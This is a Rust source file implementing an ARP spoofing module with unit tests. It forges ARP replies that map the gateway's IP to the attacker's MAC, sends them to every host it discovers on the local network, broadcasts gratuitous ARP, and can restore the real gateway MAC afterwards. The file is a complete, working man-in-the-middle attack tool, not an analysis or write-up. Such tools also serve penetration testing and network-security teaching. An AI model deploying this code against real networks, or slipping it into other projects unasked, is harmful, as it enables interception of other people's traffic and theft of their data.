use std::collections::HashMap;
use std::net::Ipv4Addr;
use std::sync::Arc;
use std::time::Duration;
use parking_lot::RwLock;
use pnet::datalink::NetworkInterface;
use pnet::packet::Packet;
use pnet::packet::arp::{
ArpHardwareTypes, ArpOperation, ArpOperations, ArpPacket, MutableArpPacket,
};
use pnet::packet::ethernet::{EtherTypes, EthernetPacket, MutableEthernetPacket};
use pnet::util::MacAddr;
use tracing::{debug, info, warn};
use super::capture::PacketSender;
use crate::error::{NetworkError, Result};
const BROADCAST_MAC: MacAddr = MacAddr(0xff, 0xff, 0xff, 0xff, 0xff, 0xff);
const ARP_PACKET_SIZE: usize = 28;
const ARP_FRAME_SIZE: usize = 14 + ARP_PACKET_SIZE;
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct HostInfo {
pub ip: Ipv4Addr,
pub mac: MacAddr,
}
#[derive(Debug, Clone, Default)]
pub struct ArpTable {
entries: Arc<RwLock<HashMap<Ipv4Addr, MacAddr>>>,
}
impl ArpTable {
pub fn new() -> Self {
Self::default()
}
pub fn insert(&self, ip: Ipv4Addr, mac: MacAddr) {
self.entries.write().insert(ip, mac);
}
pub fn get(&self, ip: &Ipv4Addr) -> Option<MacAddr> {
self.entries.read().get(ip).copied()
}
pub fn all(&self) -> Vec<HostInfo> {
self.entries
.read()
.iter()
.map(|(&ip, &mac)| HostInfo { ip, mac })
.collect()
}
pub fn len(&self) -> usize {
self.entries.read().len()
}
pub fn is_empty(&self) -> bool {
self.entries.read().is_empty()
}
}
#[derive(Debug, Clone)]
pub struct ArpSpoofConfig {
pub gateway_ip: Ipv4Addr,
pub our_ip: Ipv4Addr,
pub our_mac: MacAddr,
pub spoof_interval: Duration,
pub restore_on_shutdown: bool,
}
pub struct ArpPacketBuilder {
config: ArpSpoofConfig,
}
impl ArpPacketBuilder {
pub const fn new(config: ArpSpoofConfig) -> Self {
Self { config }
}
pub fn build_spoof_reply(&self, target_ip: Ipv4Addr, target_mac: MacAddr) -> Vec<u8> {
Self::build_arp_reply(
self.config.gateway_ip, self.config.our_mac, target_ip,
target_mac,
)
}
pub fn build_gratuitous_arp(&self) -> Vec<u8> {
Self::build_arp_reply(
self.config.gateway_ip,
self.config.our_mac,
self.config.gateway_ip, BROADCAST_MAC, )
}
pub fn build_restore_reply(
&self,
gateway_mac: MacAddr,
target_ip: Ipv4Addr,
target_mac: MacAddr,
) -> Vec<u8> {
Self::build_arp_reply(self.config.gateway_ip, gateway_mac, target_ip, target_mac)
}
pub fn build_arp_request(&self, target_ip: Ipv4Addr) -> Vec<u8> {
let mut buffer = vec![0u8; ARP_FRAME_SIZE];
{
let mut ethernet = MutableEthernetPacket::new(&mut buffer).unwrap();
ethernet.set_destination(BROADCAST_MAC);
ethernet.set_source(self.config.our_mac);
ethernet.set_ethertype(EtherTypes::Arp);
}
{
let mut arp = MutableArpPacket::new(&mut buffer[14..]).unwrap();
arp.set_hardware_type(ArpHardwareTypes::Ethernet);
arp.set_protocol_type(EtherTypes::Ipv4);
arp.set_hw_addr_len(6);
arp.set_proto_addr_len(4);
arp.set_operation(ArpOperations::Request);
arp.set_sender_hw_addr(self.config.our_mac);
arp.set_sender_proto_addr(self.config.our_ip);
arp.set_target_hw_addr(MacAddr::zero());
arp.set_target_proto_addr(target_ip);
}
buffer
}
fn build_arp_reply(
sender_ip: Ipv4Addr,
sender_mac: MacAddr,
target_ip: Ipv4Addr,
target_mac: MacAddr,
) -> Vec<u8> {
let mut buffer = vec![0u8; ARP_FRAME_SIZE];
{
let mut ethernet = MutableEthernetPacket::new(&mut buffer).unwrap();
ethernet.set_destination(target_mac);
ethernet.set_source(sender_mac);
ethernet.set_ethertype(EtherTypes::Arp);
}
{
let mut arp = MutableArpPacket::new(&mut buffer[14..]).unwrap();
arp.set_hardware_type(ArpHardwareTypes::Ethernet);
arp.set_protocol_type(EtherTypes::Ipv4);
arp.set_hw_addr_len(6);
arp.set_proto_addr_len(4);
arp.set_operation(ArpOperations::Reply);
arp.set_sender_hw_addr(sender_mac);
arp.set_sender_proto_addr(sender_ip);
arp.set_target_hw_addr(target_mac);
arp.set_target_proto_addr(target_ip);
}
buffer
}
}
pub fn parse_arp_packet(frame: &[u8]) -> Option<(ArpOperation, HostInfo)> {
let ethernet = EthernetPacket::new(frame)?;
if ethernet.get_ethertype() != EtherTypes::Arp {
return None;
}
let arp = ArpPacket::new(ethernet.payload())?;
let host = HostInfo {
ip: arp.get_sender_proto_addr(),
mac: arp.get_sender_hw_addr(),
};
Some((arp.get_operation(), host))
}
pub struct ArpSpoofer<S: PacketSender> {
config: ArpSpoofConfig,
pub(crate) packet_builder: ArpPacketBuilder,
sender: S,
pub(crate) arp_table: ArpTable,
gateway_mac: Option<MacAddr>,
}
impl<S: PacketSender> ArpSpoofer<S> {
pub fn new(config: ArpSpoofConfig, sender: S) -> Self {
let packet_builder = ArpPacketBuilder::new(config.clone());
Self {
config,
packet_builder,
sender,
arp_table: ArpTable::new(),
gateway_mac: None,
}
}
pub const fn arp_table(&self) -> &ArpTable {
&self.arp_table
}
pub const fn set_gateway_mac(&mut self, mac: MacAddr) {
self.gateway_mac = Some(mac);
}
pub const fn gateway_mac(&self) -> Option<MacAddr> {
self.gateway_mac
}
pub const fn gateway_ip(&self) -> Ipv4Addr {
self.config.gateway_ip
}
pub fn process_arp_packet(&mut self, frame: &[u8]) {
if let Some((operation, host)) = parse_arp_packet(frame) {
if host.ip == self.config.our_ip {
return;
}
if host.ip == self.config.gateway_ip && self.gateway_mac.is_none() {
info!("Discovered gateway MAC: {} -> {}", host.ip, host.mac);
self.gateway_mac = Some(host.mac);
}
debug!("ARP {:?}: {} -> {}", operation, host.ip, host.mac);
self.arp_table.insert(host.ip, host.mac);
}
}
pub fn discover_gateway(&mut self) -> Result<()> {
info!(
"Sending ARP request to discover gateway {}",
self.config.gateway_ip
);
let packet = self
.packet_builder
.build_arp_request(self.config.gateway_ip);
self.sender.send(&packet)
}
pub fn spoof_all(&mut self) -> Result<()> {
let hosts = self.arp_table.all();
let gratuitous = self.packet_builder.build_gratuitous_arp();
self.sender.send(&gratuitous)?;
for host in hosts {
if host.ip == self.config.our_ip || host.ip == self.config.gateway_ip {
continue;
}
let packet = self.packet_builder.build_spoof_reply(host.ip, host.mac);
self.sender.send(&packet)?;
}
debug!("Sent ARP spoof packets to {} hosts", self.arp_table.len());
Ok(())
}
pub fn restore_all(&mut self) -> Result<()> {
let Some(gateway_mac) = self.gateway_mac else {
warn!("Cannot restore ARP: gateway MAC unknown");
return Ok(());
};
info!("Restoring ARP tables to real gateway MAC {}", gateway_mac);
let hosts = self.arp_table.all();
for host in hosts {
if host.ip == self.config.our_ip || host.ip == self.config.gateway_ip {
continue;
}
let packet = self
.packet_builder
.build_restore_reply(gateway_mac, host.ip, host.mac);
self.sender.send(&packet)?;
}
Ok(())
}
}
pub fn get_interface_info(interface: &NetworkInterface) -> Result<(Ipv4Addr, MacAddr)> {
let mac = interface.mac.ok_or(NetworkError::NoInterface)?;
let ip = interface
.ips
.iter()
.find_map(|ip| match ip.ip() {
std::net::IpAddr::V4(v4) => Some(v4),
std::net::IpAddr::V6(_) => None,
})
.ok_or(NetworkError::NoInterface)?;
Ok((ip, mac))
}
#[cfg(target_os = "linux")]
pub fn detect_gateway() -> Result<Ipv4Addr> {
use std::fs;
let route = fs::read_to_string("/proc/net/route")
.map_err(|e| NetworkError::ChannelOpen(format!("Failed to read routing table: {e}")))?;
for line in route.lines().skip(1) {
let fields: Vec<&str> = line.split_whitespace().collect();
if fields.len() >= 3 {
let dest = fields[1];
let gateway = fields[2];
if dest == "00000000" {
let gw = u32::from_str_radix(gateway, 16)
.map_err(|e| NetworkError::ChannelOpen(format!("Invalid gateway: {e}")))?;
return Ok(Ipv4Addr::from(gw.to_be()));
}
}
}
Err(NetworkError::ChannelOpen("No default gateway found".into()).into())
}
#[cfg(target_os = "macos")]
pub fn detect_gateway() -> Result<Ipv4Addr> {
use std::process::Command;
let output = Command::new("netstat")
.args(["-rn", "-f", "inet"])
.output()
.map_err(|e| NetworkError::ChannelOpen(format!("Failed to run netstat: {e}")))?;
let stdout = String::from_utf8_lossy(&output.stdout);
for line in stdout.lines() {
let fields: Vec<&str> = line.split_whitespace().collect();
if fields.len() >= 2 && fields[0] == "default" {
let gateway: Ipv4Addr = fields[1]
.parse()
.map_err(|e| NetworkError::ChannelOpen(format!("Invalid gateway IP: {e}")))?;
return Ok(gateway);
}
}
Err(NetworkError::ChannelOpen("No default gateway found".into()).into())
}
#[cfg(test)]
mod tests {
use super::*;
use crate::network::capture::tests::MockSender;
fn create_test_config() -> ArpSpoofConfig {
ArpSpoofConfig {
gateway_ip: Ipv4Addr::new(192, 168, 1, 1),
our_ip: Ipv4Addr::new(192, 168, 1, 100),
our_mac: MacAddr::new(0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff),
spoof_interval: Duration::from_secs(2),
restore_on_shutdown: true,
}
}
#[test]
fn should_store_and_retrieve_arp_entries() {
let table = ArpTable::new();
let ip = Ipv4Addr::new(192, 168, 1, 100);
let mac = MacAddr::new(0x11, 0x22, 0x33, 0x44, 0x55, 0x66);
assert!(table.is_empty());
table.insert(ip, mac);
assert_eq!(table.len(), 1);
assert_eq!(table.get(&ip), Some(mac));
}
#[test]
fn should_return_all_arp_entries() {
let table = ArpTable::new();
let ip1 = Ipv4Addr::new(192, 168, 1, 10);
let mac1 = MacAddr::new(0x11, 0x22, 0x33, 0x44, 0x55, 0x66);
let ip2 = Ipv4Addr::new(192, 168, 1, 20);
let mac2 = MacAddr::new(0x66, 0x55, 0x44, 0x33, 0x22, 0x11);
table.insert(ip1, mac1);
table.insert(ip2, mac2);
let all = table.all();
assert_eq!(all.len(), 2);
assert!(all.contains(&HostInfo { ip: ip1, mac: mac1 }));
assert!(all.contains(&HostInfo { ip: ip2, mac: mac2 }));
}
#[test]
fn should_build_valid_arp_request_and_gratuitous_packets() {
let config = create_test_config();
let builder = ArpPacketBuilder::new(config.clone());
let request = builder.build_arp_request(Ipv4Addr::new(192, 168, 1, 50));
assert_eq!(request.len(), ARP_FRAME_SIZE);
let eth = EthernetPacket::new(&request).unwrap();
assert_eq!(eth.get_ethertype(), EtherTypes::Arp);
assert_eq!(eth.get_destination(), BROADCAST_MAC);
let gratuitous = builder.build_gratuitous_arp();
let eth = EthernetPacket::new(&gratuitous).unwrap();
let arp = ArpPacket::new(eth.payload()).unwrap();
assert_eq!(arp.get_operation(), ArpOperations::Reply);
assert_eq!(arp.get_sender_proto_addr(), config.gateway_ip);
assert_eq!(arp.get_sender_hw_addr(), config.our_mac);
}
#[test]
fn should_build_spoof_reply_with_gateway_ip_and_our_mac() {
let config = create_test_config();
let builder = ArpPacketBuilder::new(config.clone());
let target_ip = Ipv4Addr::new(192, 168, 1, 50);
let target_mac = MacAddr::new(0x11, 0x22, 0x33, 0x44, 0x55, 0x66);
let packet = builder.build_spoof_reply(target_ip, target_mac);
let eth = EthernetPacket::new(&packet).unwrap();
assert_eq!(eth.get_destination(), target_mac);
assert_eq!(eth.get_source(), config.our_mac);
let arp = ArpPacket::new(eth.payload()).unwrap();
assert_eq!(arp.get_operation(), ArpOperations::Reply);
assert_eq!(arp.get_sender_proto_addr(), config.gateway_ip);
assert_eq!(arp.get_sender_hw_addr(), config.our_mac);
assert_eq!(arp.get_target_proto_addr(), target_ip);
assert_eq!(arp.get_target_hw_addr(), target_mac);
}
#[test]
fn should_build_restore_reply_with_real_gateway_mac() {
let config = create_test_config();
let builder = ArpPacketBuilder::new(config.clone());
let gateway_mac = MacAddr::new(0x00, 0x11, 0x22, 0x33, 0x44, 0x55);
let target_ip = Ipv4Addr::new(192, 168, 1, 50);
let target_mac = MacAddr::new(0x11, 0x22, 0x33, 0x44, 0x55, 0x66);
let packet = builder.build_restore_reply(gateway_mac, target_ip, target_mac);
let eth = EthernetPacket::new(&packet).unwrap();
let arp = ArpPacket::new(eth.payload()).unwrap();
assert_eq!(arp.get_sender_hw_addr(), gateway_mac);
assert_eq!(arp.get_sender_proto_addr(), config.gateway_ip);
}
#[test]
fn should_parse_arp_packet_and_extract_host_info() {
let config = create_test_config();
let builder = ArpPacketBuilder::new(config.clone());
let packet = builder.build_gratuitous_arp();
let (operation, host) = parse_arp_packet(&packet).unwrap();
assert_eq!(operation, ArpOperations::Reply);
assert_eq!(host.ip, config.gateway_ip);
assert_eq!(host.mac, config.our_mac);
}
#[test]
fn should_return_none_when_parsing_non_arp_packet() {
let mut buffer = vec![0u8; 64];
{
let mut ethernet = MutableEthernetPacket::new(&mut buffer).unwrap();
ethernet.set_ethertype(EtherTypes::Ipv4); }
assert!(parse_arp_packet(&buffer).is_none());
}
#[test]
fn should_create_arp_spoofer_and_access_arp_table() {
let config = create_test_config();
let sender = MockSender::new();
let spoofer = ArpSpoofer::new(config, sender);
assert!(spoofer.arp_table().is_empty());
assert!(spoofer.gateway_mac().is_none());
}
#[test]
fn should_set_and_get_gateway_mac() {
let config = create_test_config();
let sender = MockSender::new();
let mut spoofer = ArpSpoofer::new(config, sender);
let gateway_mac = MacAddr::new(0x00, 0x11, 0x22, 0x33, 0x44, 0x55);
spoofer.set_gateway_mac(gateway_mac);
assert_eq!(spoofer.gateway_mac(), Some(gateway_mac));
}
#[test]
fn should_process_arp_packet_and_update_table() {
let config = create_test_config();
let sender = MockSender::new();
let mut spoofer = ArpSpoofer::new(config, sender);
let other_config = ArpSpoofConfig {
gateway_ip: Ipv4Addr::new(192, 168, 1, 50),
our_ip: Ipv4Addr::new(192, 168, 1, 50),
our_mac: MacAddr::new(0x11, 0x22, 0x33, 0x44, 0x55, 0x66),
spoof_interval: Duration::from_secs(2),
restore_on_shutdown: true,
};
let other_builder = ArpPacketBuilder::new(other_config.clone());
let packet = other_builder.build_gratuitous_arp();
spoofer.process_arp_packet(&packet);
assert_eq!(spoofer.arp_table().len(), 1);
assert_eq!(
spoofer.arp_table().get(&other_config.our_ip),
Some(other_config.our_mac)
);
}
#[test]
fn should_not_add_own_ip_to_arp_table() {
let config = create_test_config();
let sender = MockSender::new();
let mut spoofer = ArpSpoofer::new(config.clone(), sender);
let own_config = ArpSpoofConfig {
gateway_ip: config.our_ip, our_ip: config.our_ip,
our_mac: MacAddr::new(0x11, 0x22, 0x33, 0x44, 0x55, 0x66),
spoof_interval: Duration::from_secs(2),
restore_on_shutdown: true,
};
let own_builder = ArpPacketBuilder::new(own_config);
let own_packet = own_builder.build_gratuitous_arp();
spoofer.process_arp_packet(&own_packet);
assert!(spoofer.arp_table().is_empty());
}
#[test]
fn should_discover_gateway_mac_from_arp_packet() {
let config = create_test_config();
let sender = MockSender::new();
let mut spoofer = ArpSpoofer::new(config.clone(), sender);
assert!(spoofer.gateway_mac().is_none());
let gateway_mac = MacAddr::new(0x00, 0x11, 0x22, 0x33, 0x44, 0x55);
let gateway_config = ArpSpoofConfig {
gateway_ip: config.gateway_ip,
our_ip: config.gateway_ip,
our_mac: gateway_mac,
spoof_interval: Duration::from_secs(2),
restore_on_shutdown: true,
};
let gateway_builder = ArpPacketBuilder::new(gateway_config);
let packet = gateway_builder.build_gratuitous_arp();
spoofer.process_arp_packet(&packet);
assert_eq!(spoofer.gateway_mac(), Some(gateway_mac));
}
#[test]
fn should_send_arp_request_to_discover_gateway() {
let config = create_test_config();
let sender = MockSender::new();
let mut spoofer = ArpSpoofer::new(config.clone(), sender.clone());
spoofer.discover_gateway().unwrap();
assert_eq!(sender.sent_count(), 1);
let sent = sender.last_sent().unwrap();
let eth = EthernetPacket::new(&sent).unwrap();
let arp = ArpPacket::new(eth.payload()).unwrap();
assert_eq!(arp.get_operation(), ArpOperations::Request);
assert_eq!(arp.get_target_proto_addr(), config.gateway_ip);
}
#[test]
fn should_send_spoof_packets_to_all_known_hosts() {
let config = create_test_config();
let sender = MockSender::new();
let mut spoofer = ArpSpoofer::new(config, sender.clone());
let host1_ip = Ipv4Addr::new(192, 168, 1, 10);
let host1_mac = MacAddr::new(0x11, 0x22, 0x33, 0x44, 0x55, 0x66);
let host2_ip = Ipv4Addr::new(192, 168, 1, 20);
let host2_mac = MacAddr::new(0x66, 0x55, 0x44, 0x33, 0x22, 0x11);
spoofer.arp_table.insert(host1_ip, host1_mac);
spoofer.arp_table.insert(host2_ip, host2_mac);
spoofer.spoof_all().unwrap();
assert_eq!(sender.sent_count(), 3);
}
#[test]
#[allow(clippy::redundant_clone)] fn should_not_send_spoof_to_gateway_or_self() {
let config = create_test_config();
let sender = MockSender::new();
let mut spoofer = ArpSpoofer::new(config.clone(), sender.clone());
spoofer.arp_table.insert(config.our_ip, config.our_mac);
spoofer.arp_table.insert(
config.gateway_ip,
MacAddr::new(0x00, 0x11, 0x22, 0x33, 0x44, 0x55),
);
spoofer.spoof_all().unwrap();
assert_eq!(sender.sent_count(), 1);
}
#[test]
fn should_restore_arp_tables_when_gateway_mac_known() {
let config = create_test_config();
let sender = MockSender::new();
let mut spoofer = ArpSpoofer::new(config, sender.clone());
let gateway_mac = MacAddr::new(0x00, 0x11, 0x22, 0x33, 0x44, 0x55);
spoofer.set_gateway_mac(gateway_mac);
let host_ip = Ipv4Addr::new(192, 168, 1, 10);
let host_mac = MacAddr::new(0x11, 0x22, 0x33, 0x44, 0x55, 0x66);
spoofer.arp_table.insert(host_ip, host_mac);
spoofer.restore_all().unwrap();
assert_eq!(sender.sent_count(), 1);
let sent = sender.last_sent().unwrap();
let eth = EthernetPacket::new(&sent).unwrap();
let arp = ArpPacket::new(eth.payload()).unwrap();
assert_eq!(arp.get_sender_hw_addr(), gateway_mac);
}
#[test]
fn should_not_restore_when_gateway_mac_unknown() {
let config = create_test_config();
let sender = MockSender::new();
let mut spoofer = ArpSpoofer::new(config, sender.clone());
spoofer.restore_all().unwrap();
assert_eq!(sender.sent_count(), 0);
}
}